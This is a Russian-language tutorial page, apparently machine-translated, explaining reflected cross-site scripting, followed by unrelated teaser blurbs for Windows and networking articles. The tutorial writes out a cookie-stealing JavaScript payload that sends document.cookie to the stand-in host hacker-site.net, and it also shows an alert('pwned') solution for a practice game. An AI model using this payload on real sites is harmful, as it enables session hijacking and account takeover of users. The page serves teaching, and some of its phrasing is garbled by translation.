Web7: XSS-эксплойты. Часть 1. Отраженный XSS

Web7: XSS-эксплойты. Часть 1. Отраженный XSS

Что такое межсайтовый скриптинг?

Межсайтовый скриптинг (XSS) — один из самых популярных сегодня методов атак, известный как «крестный отец атак», и на протяжении многих лет числился в списке самых опасных методов атак на веб-приложения.

Не называйте его сокращенно CSS, чтобы избежать путаницы с концепцией каскадных таблиц стилей HTML.Техника
XSS
основана на вставке опасных сценариев в исходный код веб-приложения. Выполнить вредоносный код Javascript для захвата сеанса входа пользователя.

Чтобы лучше понять, давайте рассмотрим следующий пример. Веб-приложение, которое позволяет печатать значение, которое мы передаем через URL-адрес, при условии, что мы передаем в переменную имени значение Ping:

Web7: XSS-эксплойты. Часть 1. Отраженный XSS

Пока все в порядке, давайте рассмотрим исходный код html:

Web7: XSS-эксплойты. Часть 1. Отраженный XSS

Легко заметить, что введенное нами значение имени было вставлено в исходный код. Таким образом, вполне возможно, что все импортированное также может быть вставлено. Проблема становится серьёзной, если введенное значение — это не обычная строка, как указано выше, а потенциально опасный фрагмент кода, примерно такой:

 

Попробуйте еще раз с указанным выше значением:

Web7: XSS-эксплойты. Часть 1. Отраженный XSS

Из этого примера мы можем сделать два вывода. Во-первых, переменная name может принимать любое входное значение и передавать его на обработку на сервер. Во-вторых, сервер не контролировал это входное значение перед возвратом его в браузер. Это приводит к вставке кода JavaScript в исходный код.

XSS обычно делится на 3 основных типа: отраженный, хранимый и основанный на DOM. В этой статье я в основном упомяну технику Reflected XSS.

До 75% техник XSS основаны на Reflected XSS. Он называется отраженным, потому что в этом типе сценария эксплойта хакер должен отправить жертве URL-адрес, содержащий вредоносный код (обычно JavaScript). Жертве достаточно запросить этот URL-адрес, и хакер немедленно получит ответ, содержащий желаемый результат (здесь показана рефлексивность). Кроме того, он также известен как XSS первого порядка.

Реальный сценарий добычи полезных ископаемых

Существует множество способов эксплуатировать ошибку Reflected XSS, один из наиболее известных способов — перехватить сеанс пользователя, тем самым получив доступ к данным и получив его права на сайте.

Подробности описаны в следующих шагах:

Web7: XSS-эксплойты. Часть 1. Отраженный XSS

1. Пользователь входит в Интернет и предполагает, что сеанс назначен:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. Каким-то образом хакер отправляет пользователю URL-адрес:

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

Предположим, example.com — это веб-сайт, который посещает жертва, а hacker-site.net — это сайт, созданный хакером.

3. Жертва получает доступ к указанному выше URL-адресу.

4. Сервер отвечает жертве вместе с данными, содержащимися в запросе (фрагмент хакерского javascript)

5. Браузер жертвы получает ответ и выполняет JavaScript.

6. Фактический JavaScript, созданный хакером, выглядит следующим образом:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

Приведенная выше командная строка по существу отправляет запрос на сайт хакера с параметром, являющимся файлом cookie пользователя:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. С вашего сайта хакер перехватит указанное выше содержимое запроса и посчитает, что сеанс пользователя захвачен. На этом этапе хакер может выдать себя за жертву и воспользоваться всеми правами на веб-сайте, которыми обладает жертва.

Упражняться

Google создал страницу, где можно попрактиковаться в использовании ошибок XSS: https://xss-game.appspot.com.

Целью этих задач является внедрение скриптов для открытия всплывающего окна. Первая задача — проиллюстрировать отраженную технику, код эксплуатации довольно прост:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

Удачи!


Освободите место памяти после юбилейного обновления Windows 10

Освободите место памяти после юбилейного обновления Windows 10

После обновления версии Windows 10 до юбилейного обновления Windows 10 (версия 1607) Windows 10 автоматически создаст резервную копию предыдущей версии Windows 10 в папке с именем Windows.old, чтобы пользователи могли ее удалить. предыдущая версия Windows 10.

Почему устройства 802.11b замедляют работу вашей сети Wi-Fi?

Почему устройства 802.11b замедляют работу вашей сети Wi-Fi?

Тем не менее, скорость вашего Wi-Fi зависит от множества факторов, начиная от местоположения Wi-Fi и заканчивая микроволновой печью в вашем доме. Но может ли старое устройство, использующее протокол 802.11b в вашей сети, замедлить ее работу?

Как проверить, подключен или отключен современный режим ожидания в Windows 10

Как проверить, подключен или отключен современный режим ожидания в Windows 10

В этом руководстве показано, как проверить, подключен или отключен современный режим ожидания к Wi-Fi в режиме ожидания в Windows 10.

Разница между портом WAN и портом LAN

Разница между портом WAN и портом LAN

Если вы посмотрите на свой беспроводной маршрутизатор, вы можете увидеть сокращения LAN и WAN, обычно расположенные рядом с некоторыми портами устройства. LAN означает локальную сеть, а WAN означает глобальную сеть. Так в чем же разница между этими двумя типами портов? Давайте выясним это с помощью Quantrimang из следующей статьи!

Как установить супер крутую тему «Доктор Стрэндж» в Windows 10/11

Как установить супер крутую тему «Доктор Стрэндж» в Windows 10/11

Супер-крутая, супер-крутая тема Doctor Stranger для Windows 10/11.

Может ли VPN защитить вас от программ-вымогателей?

Может ли VPN защитить вас от программ-вымогателей?

VPN — популярный инструмент для защиты в Интернете. Поэтому вам может быть интересно, смогут ли они защитить вас от программ-вымогателей.

Как управлять огромной папкой WinSxS в Windows 10

Как управлять огромной папкой WinSxS в Windows 10

Возникает вопрос, какие именно файлы установлены в WinSxS и почему они такого размера. Давайте разгадаем секреты WinSxS и способы управления этой папкой в ​​следующей статье.

Как установить отдельные пароли для каждого приложения в Windows 10

Как установить отдельные пароли для каждого приложения в Windows 10

Иногда вы сталкиваетесь с ситуацией, когда не хотите, чтобы кто-то использовал какое-то конкретное приложение или игру на вашем компьютере, но не можете найти подходящего решения. В Windows 10 вы можете легко заблокировать любое приложение.

Как добавить привлекательные эффекты на панель задач Windows 10

Как добавить привлекательные эффекты на панель задач Windows 10

Если вы хотите добавить привлекательные эффекты на панель задач, вам в этом помогут приложения RainbowTaskbar и NiceTaskbar.

Как использовать команду форматирования для записи 0 на жесткий диск

Как использовать команду форматирования для записи 0 на жесткий диск

Простой способ записать ноль (Write Zero) на жесткий диск, чтобы стереть все данные, — это отформатировать диск особым образом с помощью команды форматирования из командной строки.